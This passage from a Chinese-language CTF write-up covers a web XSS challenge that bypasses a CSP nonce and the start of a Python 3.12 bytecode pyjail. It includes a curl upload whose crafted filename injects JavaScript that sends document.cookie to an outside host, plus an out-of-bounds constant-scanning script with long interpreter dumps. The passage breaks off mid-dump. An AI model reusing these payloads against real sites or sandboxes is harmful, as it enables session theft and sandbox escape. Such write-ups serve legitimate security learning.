'zoom': None,
},
],
})

image_x1.save(f'{static_dir}/images/{filename}.x1.{extension}')
image_x2.save(f'{static_dir}/images/{filename}.x2.{extension}')

return redirect(url_for('get_image', image_id=image_id))

而它 render /images/<image_id> 的時候會碰到這些 function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@app.route('/images/<image_id>', methods=['GET'])
def get_image(image_id):
image = db.images.find_one({'image_id': image_id})
return render_template('image.html.jinja', img=get_img('', image_id), image_id=image_id, files=image['files'])

def get_img(alt, image_id):
if request.path.startswith('/images/'):
image_id = request.path.split('/')[-1]

image = db.images.find_one({'image_id': image_id})
if image is None:
return ''

srcset = ', '.join(get_img_srcset(file) for file in image['files'])
return f'<img srcset="{srcset}" alt="{alt}">'


def replace_img(match):
return get_img(match.group(1).decode(), match.group(2).decode()).encode()


@app.after_request
def after_request(response):
response.direct_passthrough = False

data = response.get_data()
response.data = re.sub(b'!\\[(.*?)\\]\\((.+?)\\)', replace_img, data)

return response

目標是要 XSS 並繞過 CSP script-src 'self' 'nonce-???'

單純 html injection 的部分因為它有給一個 post 功能(上面的 code 沒寫到),所以只要透過 after_request 的特殊處裡透過 alt 就能 inject html。不過這部分我到最後完全沒用到 XD。

image.html.jinja 有這段 html:

1
2
3
4
<script nonce="{{csp_nonce()}}">
const files = {{files|json|safe}};
// omitted
</script>

其中 files 是部分可控的,因為它裡面包含上傳檔名的 filename,而題目那邊只有驗 os.path.basename(image.filename).split('.')[0] 是否只包含小寫字母,因此可 injection 的空間還很大。

另一個困難點是 files 會被轉成 json,不過如果裡面有 ![](a) 之類的東西讓 after_request 處理了,說不定可以繞出 string literal 直接 XSS。

當然,這部分實際上很複雜,就是基於我上面寫出的兩點去 trial and error,最後構造出可以執行的 js 就是了。裡面還要用到一些額外的技巧如 <!-- 也是 js 的 single line comment 之一,還有一些 dom clobbering,不過那些要講清楚很難,所以就算了 XD。

1
2
3
4
5
6
7
8
#!/usr/bin/env zsh
# ddd.png is a valid png file
# need to prepare a valid domain name (e.g. abc.com)
cat ddd.png <(dd if=/dev/urandom bs=1 count=8) > tmp.png
curl 'http://34.84.176.251:55416/image' -F 'image=@tmp.png; filename="START![,zz//](asddh)END`/window.ext+((new Image)['"'"'src'"'"']='"'"'\x2f\x2fabc\x2ecom?'"'"'+document['"'"'cookie'"'"'])}];`;<!-- \" id=assets><div id=images><div id=x2>-->"'
md5sum tmp.png | awk '{ print $1 }'
# admin visit http://34.84.176.251:55416/images/$hash
# TSGCTF{1girl, hacker, in front of computer, hooded, in dark room, table, sitting, keyboard, 8k wallpaper, highly detailed, absurdres}

然後這個是最後 /images/$hash 弄出來的 html 的一部份,供參考:

1
2
3
4
5
<script nonce="U03ribU1UMZFz3Q6QfCTpdmzwYm6uyrQ">
const files = [{"path": "images/window.x2.ext+((new Image)['src']='\\x2f\\x2fabc\\x2ecom?'+document['cookie'])}];`;<!-- \" id=assets><div id=images><div id=x2>-->", "title": "START<img srcset="/assets/images/window.x2.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>--> 2x, /assets/images/window.x1.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>-->" alt=",zz//">END`/window.ext+((new Image)['src']='\\x2f\\x2fabc\\x2ecom?'+document['cookie'])}];`;<!-- \" id=assets><div id=images><div id=x2>-->", "zoom": 2}, {"path": "images/window.x1.ext+((new Image)['src']='\\x2f\\x2fabc\\x2ecom?'+document['cookie'])}];`;<!-- \" id=assets><div id=images><div id=x2>-->", "title": "START<img srcset="/assets/images/window.x2.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>--> 2x, /assets/images/window.x1.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>-->" alt=",zz//">END`/window.ext+((new Image)['src']='\\x2f\\x2fabc\\x2ecom?'+document['cookie'])}];`;<!-- \" id=assets><div id=images><div id=x2>-->", "zoom": null}];
const file = getBestImage(files, window.devicePixelRatio);
// omitted
</script>

另外在那段 code 的上面還有另一個 html injection,所以我透過那邊 dom clobbering:

1
2
3
<figure>
<img srcset="/assets/images/window.x2.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>--> 2x, /assets/images/window.x1.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>-->" alt="">
<figcaption>

總之它最後執行的 js 大致上是這樣:

1
2
3
const files = [{"path": "???"/assets/images/window.x2.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`???`;<!-- ???
const file = getBestImage(files, window.devicePixelRatio);
// omitted

Pwn

bypy

CPython 3.12 的 bytecode pyjail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from base64 import b64decode
from marshal import loads

NMAX = 10000


def validator(c):
if len(c.co_names) != 0:
return False
if len(c.co_consts) != 0:
return False
if len(c.co_cellvars) != 0:
return False
if len(c.co_freevars) != 0:
return False
if len(c.co_varnames) != 0:
return False
return True


def dummy():
pass


# :)
for key in ["eval", "exec", "__import__", "open"]:
del __builtins__.__dict__[key]


def main():
global __builtins__
print("Give me your source: ")
src = input()
if len(src) > NMAX:
print("too long")
exit(-1)

c = b64decode(src)
code = loads(c)
if not validator(code):
print("invalid code")
exit(-1)

dummy.__code__ = code

print(dummy())


main()

簡單來說不能有任何 names 和 consts 出現而已。

我先參考常見的 empty tuple OOB 去爆看看有哪些 constant 可以用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from types import CodeType
from opcode import opmap
from sys import argv


class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k


if __name__ == "__main__":
n = int(argv[1])

code = [
*([opmap["EXTENDED_ARG"], n // 256] if n // 256 != 0 else []),
opmap["LOAD_CONST"],
n % 256,
opmap["RETURN_VALUE"],
0,
]

c = CodeType(
0,
0,
0,
0,
0,
3,
bytes(code),
(),
(),
(),
"<sandbox>",
"<eval>",
"",
0,
b"",
b"",
(),
(),
)

ret = eval(c, {"__builtins__": MockBuiltins()})
if ret:
print(f"{n}: {ret}")

# for i in $(seq 1 10000); do python find.py $i 2>/dev/null; done >> offsets.txt

"""
4: <class 'hamt_bitmap_node'>
9: <class 'Token.MISSING'>
54: {'__name__': 'sys', '__doc__': "This module provides access to some objects used or maintained by the\ninterpreter and to functions that interact strongly with the interpreter.\n\nDynamic objects:\n\nargv -- command line arguments; argv[0] is the script pathname if known\npath -- module search path; path[0] is the script directory, else ''\nmodules -- dictionary of loaded modules\n\ndisplayhook -- called to show results in an interactive session\nexcepthook -- called to handle any uncaught exception other than SystemExit\n To customize printing in an interactive session or to install a custom\n top-level exception handler, assign other functions to replace these.\n\nstdin -- standard input file object; used by input()\nstdout -- standard output file object; used by print()\nstderr -- standard error object; used for error messages\n By assigning other file objects (or objects that behave like files)\n to these, it is possible to redirect all of the interpreter's I/O.\n\nlast_exc - the last uncaught exception\n Only available in an interactive session after a\n traceback has been printed.\nlast_type -- type of last uncaught exception\nlast_value -- value of last uncaught exception\nlast_traceback -- traceback of last uncaught exception\n These three are the (deprecated) legacy representation of last_exc.\n\nStatic objects:\n\nbuiltin_module_names -- tuple of module names built into this interpreter\ncopyright -- copyright notice pertaining to this interpreter\nexec_prefix -- prefix used to find the machine-specific Python library\nexecutable -- absolute path of the executable binary of the Python interpreter\nfloat_info -- a named tuple with information about the float implementation.\nfloat_repr_style -- string indicating the style of repr() output for floats\nhash_info -- a named tuple with information about the hash algorithm.\nhexversion -- version information encoded as a single integer\nimplementation -- Python implementation information.\nint_info -- a named tuple with information about the int implementation.\nmaxsize -- the largest supported length of containers.\nmaxunicode -- the value of the largest Unicode code point\nplatform -- platform identifier\nprefix -- prefix used to find the Python library\nthread_info -- a named tuple with information about the thread implementation.\nversion -- the version of this interpreter as a string\nversion_info -- version information as a named tuple\n__stdin__ -- the original stdin; don't touch!\n__stdout__ -- the original stdout; don't touch!\n__stderr__ -- the original stderr; don't touch!\n__displayhook__ -- the original displayhook; don't touch!\n__excepthook__ -- the original excepthook; don't touch!\n\nFunctions:\n\ndisplayhook() -- print an object to the screen, and save it in builtins._\nexcepthook() -- print an exception and its traceback to sys.stderr\nexception() -- return the current thread's active exception\nexc_info() -- return information about the current thread's active exception\nexit() -- exit the interpreter by raising SystemExit\ngetdlopenflags() -- returns flags to be used for dlopen() calls\ngetprofile() -- get the global profiling function\ngetrefcount() -- return the reference count for an object (plus one :-)\ngetrecursionlimit() -- return the max recursion depth for the interpreter\ngetsizeof() -- return the size of an object in bytes\ngettrace() -- get the global debug tracing function\nsetdlopenflags() -- set the flags to be used for dlopen() calls\nsetprofile() -- set the global profiling function\nsetrecursionlimit() -- set the max recursion depth for the interpreter\nsettrace() -- set the global debug tracing function\n", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='sys', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), 'addaudithook': <built-in function addaudithook>, 'audit': <built-in function audit>, 'breakpointhook': <built-in function breakpointhook>, '_clear_type_cache': <built-in function _clear_type_cache>, '_current_frames': <built-in function _current_frames>, '_current_exceptions': <built-in function _current_exceptions>, 'displayhook': <built-in function displayhook>, 'exception': <built-in function exception>, 'exc_info': <built-in function exc_info>, 'excepthook': <built-in function excepthook>, 'exit': <built-in function exit>, 'getdefaultencoding': <built-in function getdefaultencoding>, 'getdlopenflags': <built-in function getdlopenflags>, 'getallocatedblocks': <built-in function getallocatedblocks>, 'getunicodeinternedsize': <built-in function getunicodeinternedsize>, 'getfilesystemencoding': <built-in function getfilesystemencoding>, 'getfilesystemencodeerrors': <built-in function getfilesystemencodeerrors>, 'getrefcount': <built-in function getrefcount>, 'getrecursionlimit': <built-in function getrecursionlimit>, 'getsizeof': <built-in function getsizeof>, '_getframe': <built-in function _getframe>, '_getframemodulename': <built-in function _getframemodulename>, 'intern': <built-in function intern>, 'is_finalizing': <built-in function is_finalizing>, 'setswitchinterval': <built-in function setswitchinterval>, 'getswitchinterval': <built-in function getswitchinterval>, 'setdlopenflags': <built-in function setdlopenflags>, 'setprofile': <built-in function setprofile>, '_setprofileallthreads': <built-in function _setprofileallthreads>, 'getprofile': <built-in function getprofile>, 'setrecursionlimit': <built-in function setrecursionlimit>, 'settrace': <built-in function settrace>, '_settraceallthreads': <built-in function _settraceallthreads>, 'gettrace': <built-in function gettrace>, 'call_tracing': <built-in function call_tracing>, '_debugmallocstats': <built-in function _debugmallocstats>, 'set_coroutine_origin_tracking_depth': <built-in function set_coroutine_origin_tracking_depth>, 'get_coroutine_origin_tracking_depth': <built-in function get_coroutine_origin_tracking_depth>, 'set_asyncgen_hooks': <built-in function set_asyncgen_hooks>, 'get_asyncgen_hooks': <built-in function get_asyncgen_hooks>, 'activate_stack_trampoline': <built-in function activate_stack_trampoline>, 'deactivate_stack_trampoline': <built-in function deactivate_stack_trampoline>, 'is_stack_trampoline_active': <built-in function is_stack_trampoline_active>, 'unraisablehook': <built-in function unraisablehook>, 'get_int_max_str_digits': <built-in function get_int_max_str_digits>, 'set_int_max_str_digits': <built-in function set_int_max_str_digits>, 'modules': {'sys': <module 'sys' (built-in)>, 'builtins': <module 'builtins' (built-in)>, '_frozen_importlib': <module '_frozen_importlib' (frozen)>, '_imp': <module '_imp' (built-in)>, '_thread': <module '_thread' (built-in)>, '_warnings': <module '_warnings' (built-in)>, '_weakref': <module '_weakref' (built-in)>, '_io': <module '_io' (built-in)>, 'marshal': <module 'marshal' (built-in)>, 'posix': <module 'posix' (built-in)>, '_frozen_importlib_external': <module '_frozen_importlib_external' (frozen)>, 'time': <module 'time' (built-in)>, 'zipimport': <module 'zipimport' (frozen)>, '_codecs': <module '_codecs' (built-in)>, 'codecs': <module 'codecs' (frozen)>, 'encodings.aliases': <module 'encodings.aliases' from '/usr/local/lib/python3.12/encodings/aliases.py'>, 'encodings': <module 'encodings' from '/usr/local/lib/python3.12/encodings/__init__.py'>, 'encodings.utf_8': <module 'encodings.utf_8' from '/usr/local/lib/python3.12/encodings/utf_8.py'>, '_signal': <module '_signal' (built-in)>, '_abc': <module '_abc' (built-in)>, 'abc': <module 'abc' (frozen)>, 'io': <module 'io' (frozen)>, '__main__': <module '__main__' from '/wd/find.py'>, '_stat': <module '_stat' (built-in)>, 'stat': <module 'stat' (frozen)>, '_collections_abc': <module '_collections_abc' (frozen)>, 'genericpath': <module 'genericpath' (frozen)>, 'posixpath': <module 'posixpath' (frozen)>, 'os.path': <module 'posixpath' (frozen)>, 'os': <module 'os' (frozen)>, '_sitebuiltins': <module '_sitebuiltins' (frozen)>, '_distutils_hack': <module '_distutils_hack' from '/usr/local/lib/python3.12/site-packages/_distutils_hack/__init__.py'>, 'site': <module 'site' (frozen)>, 'types': <module 'types' from '/usr/local/lib/python3.12/types.py'>, '_opcode': <module '_opcode' from '/usr/local/lib/python3.12/lib-dynload/_opcode.cpython-312-x86_64-linux-gnu.so'>, 'opcode': <module 'opcode' from '/usr/local/lib/python3.12/opcode.py'>}, 'stderr': <_io.TextIOWrapper name='<stderr>' mode='w' encoding='utf-8'>, '__stderr__': <_io.TextIOWrapper name='<stderr>' mode='w' encoding='utf-8'>, '__displayhook__': <built-in function displayhook>, '__excepthook__': <built-in function excepthook>, '__breakpointhook__': <built-in function breakpointhook>, '__unraisablehook__': <built-in function unraisablehook>, 'version': '3.12.0 (main, Nov 1 2023, 13:17:10) [GCC 10.2.1 20210110]', 'hexversion': 51118320, '_git': ('CPython', '', ''), '_framework': '', 'api_version': 1013, 'copyright': 'Copyright (c) 2001-2023 Python Software Foundation.\nAll Rights Reserved.\n\nCopyright (c) 2000 BeOpen.com.\nAll Rights Reserved.\n\nCopyright (c) 1995-2001 Corporation for National Research Initiatives.\nAll Rights Reserved.\n\nCopyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.\nAll Rights Reserved.', 'platform': 'linux', 'maxsize': 9223372036854775807, 'float_info': sys.float_info(max=1.7976931348623157e+308, max_exp=1024, max_10_exp=308, min=2.2250738585072014e-308, min_exp=-1021, min_10_exp=-307, dig=15, mant_dig=53, epsilon=2.220446049250313e-16, radix=2, rounds=1), 'int_info': sys.int_info(bits_per_digit=30, sizeof_digit=4, default_max_str_digits=4300, str_digits_check_threshold=640), 'hash_info': sys.hash_info(width=64, modulus=2305843009213693951, inf=314159, nan=0, imag=1000003, algorithm='siphash13', hash_bits=64, seed_bits=128, cutoff=0), 'maxunicode': 1114111, 'builtin_module_names': ('_abc', '_ast', '_codecs', '_collections', '_functools', '_imp', '_io', '_locale', '_operator', '_signal', '_sre', '_stat', '_string', '_symtable', '_thread', '_tokenize', '_tracemalloc', '_typing', '_warnings', '_weakref', 'atexit', 'builtins', 'errno', 'faulthandler', 'gc', 'itertools', 'marshal', 'posix', 'pwd', 'sys', 'time'), 'stdlib_module_names': frozenset({'multiprocessing', '_pydecimal', 'telnetlib', 'functools', '__future__', 'marshal', 'token', 'quopri', 'json', 'netrc', 'errno', '_markupbase', 'plistlib', '_sha2', 'ast', 'pipes', '_osx_support', 'unicodedata', 'modulefinder', 'dis', 're', 'uu', '_thread', 'ensurepip', 'idlelib', 'genericpath', 'traceback', 'textwrap', 'sre_constants', '_compat_pickle', 'bisect', 'tracemalloc', '_operator', 'dbm', 'copy', 'tokenize', 'collections', '_msi', 'ftplib', '_warnings', 'time', '_compression', 'locale', 'dataclasses', '_pyio', 'nt', 'webbrowser', 'xml', 'configparser', 'nis', '_ast', 'ssl', 'fcntl', 'operator', '_struct', '_codecs_jp', '_decimal', '_codecs_tw', '_sqlite3', 'copyreg', 'hmac', 'shlex', 'csv', 'zlib', '_io', 'email', 'winsound', 'builtins', '_bisect', 'pyexpat', '_locale', 'pdb', 'readline', 'resource', 'smtplib', 'lib2to3', 'importlib', 'tarfile', 'wsgiref', '_sre', 'chunk', 'poplib', 'sre_parse', '_codecs_hk', '_collections_abc', 'timeit', '_hashlib', 'cmath', '_statistics', '_threading_local', 'fnmatch', 'msilib', 'gzip', 'msvcrt', '_weakrefset', 'posix', 'random', 'imaplib', 'signal', '_codecs_cn', 'contextlib', 'winreg', 'site', 'mmap', 'sre_compile', 'struct', '_frozen_importlib_external', '_uuid', 'colorsys', 'decimal', '_pydatetime', 'heapq', '_sha1', 'os', 'shutil', 'urllib', 'zipapp', 'compileall', '_heapq', 'threading', 'html', 'tomllib', 'weakref', 'nturl2path', '_weakref', 'hashlib', 'rlcompleter', '_pickle', '_ctypes', '_curses', '_stat', '_bz2', 'abc', 'antigravity', 'asyncio', 'pstats', 'fractions', '_sha3', 'statistics', 'subprocess', 'encodings', 'pickletools', 'termios', '_datetime', 'graphlib', 'crypt', '_blake2', 'keyword', 'pty', 'tkinter', 'unittest', 'tty', '_winapi', 'sqlite3', 'wave', 'shelve', '_random', 'cProfile', 'faulthandler', 'turtledemo', 'code', 'array', 'spwd', 'sys', 'sunau', 'queue', 'aifc', '_ssl', 'getopt', '_collections', 'itertools', '_symtable', '_imp', 'enum', '_opcode', 'socketserver', '_lsprof', '_overlapped', '_posixshmem', '_multibytecodec', '_sitebuiltins', 'io', 'pydoc', 'opcode', 'symtable', 'platform', '_socket', 'doctest', 'inspect', 'pyclbr', 'pickle', 'gettext', 'filecmp', '_md5', 'sndhdr', 'zipimport', 'string', '_codecs', '_csv', 'secrets', '_dbm', '_tokenize', 'pwd', '_aix_support', 'nntplib', 'py_compile', 'ctypes', 'venv', 'runpy', 'xdrlib', 'base64', 'uuid', '_codecs_iso2022', '_strptime', 'linecache', 'zoneinfo', '_string', 'reprlib', '_queue', '_scproxy', 'this', '_elementtree', 'logging', 'pydoc_data', 'bz2', '_abc', 'pkgutil', '_crypt', 'ipaddress', '_curses_panel', 'warnings', 'audioop', '_py_abc', 'xmlrpc', '_posixsubprocess', 'bdb', 'sysconfig', '_tkinter', '_signal', '_lzma', 'ntpath', 'selectors', '_contextvars', 'cmd', 'tabnanny', 'binascii', 'optparse', 'pprint', 'trace', 'posixpath', 'http', 'contextvars', 'imghdr', 'atexit', '_zoneinfo', 'select', '_json', 'lzma', 'typing', 'stringprep', 'turtle', 'syslog', '_asyncio', 'glob', 'codecs', 'stat', '_frozen_importlib', 'getpass', '_pylong', '_functools', 'cgi', 'codeop', 'pathlib', 'sched', 'socket', 'calendar', 'numbers', 'tempfile', '_typing', 'types', 'cgitb', 'fileinput', 'grp', 'ossaudiodev', '_tracemalloc', 'argparse', 'curses', 'datetime', 'difflib', 'profile', 'mimetypes', 'mailcap', 'zipfile', 'concurrent', '_gdbm', 'math', 'gc', 'mailbox', '_codecs_kr', '_multiprocessing'}), 'byteorder': 'little', 'abiflags': '', 'version_info': sys.version_info(major=3, minor=12, micro=0, releaselevel='final', serial=0), 'implementation': namespace(name='cpython', cache_tag='cpython-312', version=sys.version_info(major=3, minor=12, micro=0, releaselevel='final', serial=0), hexversion=51118320, _multiarch='x86_64-linux-gnu'), 'flags': sys.flags(debug=0, inspect=0, interactive=0, optimize=0, dont_write_bytecode=0, no_user_site=0, no_site=0, ignore_environment=0, verbose=0, bytes_warning=0, quiet=0, hash_randomization=1, isolated=0, dev_mode=False, utf8_mode=0, warn_default_encoding=0, safe_path=False, int_max_str_digits=4300), 'float_repr_style': 'short', 'thread_info': sys.thread_info(name='pthread', lock='semaphore', version='NPTL 2.31'), 'meta_path': [<_distutils_hack.DistutilsMetaFinder object at 0x7f1b813bdb50>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib_external.PathFinder'>], 'path_importer_cache': {'/usr/local/lib/python312.zip': None, '/usr/local/lib/python3.12': FileFinder('/usr/local/lib/python3.12'), '/usr/local/lib/python3.12/encodings': FileFinder('/usr/local/lib/python3.12/encodings'), '/usr/local/lib/python3.12/lib-dynload': FileFinder('/usr/local/lib/python3.12/lib-dynload'), '/usr/local/lib/python3.12/site-packages': FileFinder('/usr/local/lib/python3.12/site-packages'), '/wd/find.py': None, '/wd': FileFinder('/wd')}, 'path_hooks': [<class 'zipimport.zipimporter'>, <function FileFinder.path_hook.<locals>.path_hook_for_FileFinder at 0x7f1b815c05e0>], 'monitoring': <module 'sys.monitoring'>, 'path': ['/wd', '/usr/local/lib/python312.zip', '/usr/local/lib/python3.12', '/usr/local/lib/python3.12/lib-dynload', '/usr/local/lib/python3.12/site-packages'], 'executable': '/usr/local/bin/python', '_base_executable': '/usr/local/bin/python', 'prefix': '/usr/local', 'base_prefix': '/usr/local', 'exec_prefix': '/usr/local', 'base_exec_prefix': '/usr/local', 'platlibdir': 'lib', 'pycache_prefix': None, 'argv': ['find.py', '54'], 'orig_argv': ['python', 'find.py', '54'], 'warnoptions': [], '_xoptions': {}, '_stdlib_dir': '/usr/local/lib/python3.12', 'dont_write_bytecode': False, '__stdin__': <_io.TextIOWrapper name='<stdin>' mode='r' encoding='utf-8'>, 'stdin': <_io.TextIOWrapper name='<stdin>' mode='r' encoding='utf-8'>, '__stdout__': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>, 'stdout': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>, '_home': None, '__interactivehook__': <function enablerlcompleter.<locals>.register_readline at 0x7f1b813d8900>}
55: {'__name__': 'builtins', '__doc__': "Built-in functions, types, exceptions, and other objects.\n\nThis module provides direct access to all 'built-in'\nidentifiers of Python; for example, builtins.len is\nthe full name for the built-in function len().\n\nThis module is not normally accessed explicitly by most\napplications, but can be useful in modules that provide\nobjects with the same name as a built-in value, but in\nwhich the built-in of that name is also needed.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'BaseExceptionGroup': <class 'BaseExceptionGroup'>, 'Exception': <class 'Exception'>, 'GeneratorExit': <class 'GeneratorExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'SystemExit': <class 'SystemExit'>, 'ArithmeticError': <class 'ArithmeticError'>, 'AssertionError': <class 'AssertionError'>, 'AttributeError': <class 'AttributeError'>, 'BufferError': <class 'BufferError'>, 'EOFError': <class 'EOFError'>, 'ImportError': <class 'ImportError'>, 'LookupError': <class 'LookupError'>, 'MemoryError': <class 'MemoryError'>, 'NameError': <class 'NameError'>, 'OSError': <class 'OSError'>, 'ReferenceError': <class 'ReferenceError'>, 'RuntimeError': <class 'RuntimeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'SyntaxError': <class 'SyntaxError'>, 'SystemError': <class 'SystemError'>, 'TypeError': <class 'TypeError'>, 'ValueError': <class 'ValueError'>, 'Warning': <class 'Warning'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'BytesWarning': <class 'BytesWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'UserWarning': <class 'UserWarning'>, 'BlockingIOError': <class 'BlockingIOError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionError': <class 'ConnectionError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'InterruptedError': <class 'InterruptedError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'IndentationError': <class 'IndentationError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'RecursionError': <class 'RecursionError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'UnicodeError': <class 'UnicodeError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'TabError': <class 'TabError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'ExceptionGroup': <class 'ExceptionGroup'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2023 Python Software Foundation.
All Rights Reserved.

Copyright (c) 2000 BeOpen.com.
All Rights Reserved.

Copyright (c) 1995-2001 Corporation for National Research Initiatives.
All Rights Reserved.

Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.
All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands
for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}
128: {'sys': <module 'sys' (built-in)>, 'builtins': <module 'builtins' (built-in)>, '_frozen_importlib': <module '_frozen_importlib' (frozen)>, '_imp': <module '_imp' (built-in)>, '_thread': <module '_thread' (built-in)>, '_warnings': <module '_warnings' (built-in)>, '_weakref': <module '_weakref' (built-in)>, '_io': <module '_io' (built-in)>, 'marshal': <module 'marshal' (built-in)>, 'posix': <module 'posix' (built-in)>, '_frozen_importlib_external': <module '_frozen_importlib_external' (frozen)>, 'time': <module 'time' (built-in)>, 'zipimport': <module 'zipimport' (frozen)>, '_codecs': <module '_codecs' (built-in)>, 'codecs': <module 'codecs' (frozen)>, 'encodings.aliases': <module 'encodings.aliases' from '/usr/local/lib/python3.12/encodings/aliases.py'>, 'encodings': <module 'encodings' from '/usr/local/lib/python3.12/encodings/__init__.py'>, 'encodings.utf_8': <module 'encodings.utf_8' from '/usr/local/lib/python3.12/encodings/utf_8.py'>, '_signal': <module '_signal' (built-in)>, '_abc': <module '_abc' (built-in)>, 'abc': <module 'abc' (frozen)>, 'io': <module 'io' (frozen)>, '__main__': <module '__main__' from '/wd/find.py'>, '_stat': <module '_stat' (built-in)>, 'stat': <module 'stat' (frozen)>, '_collections_abc': <module '_collections_abc' (frozen)>, 'genericpath': <module 'genericpath' (frozen)>, 'posixpath': <module 'posixpath' (frozen)>, 'os.path': <module 'posixpath' (frozen)>, 'os': <module 'os' (frozen)>, 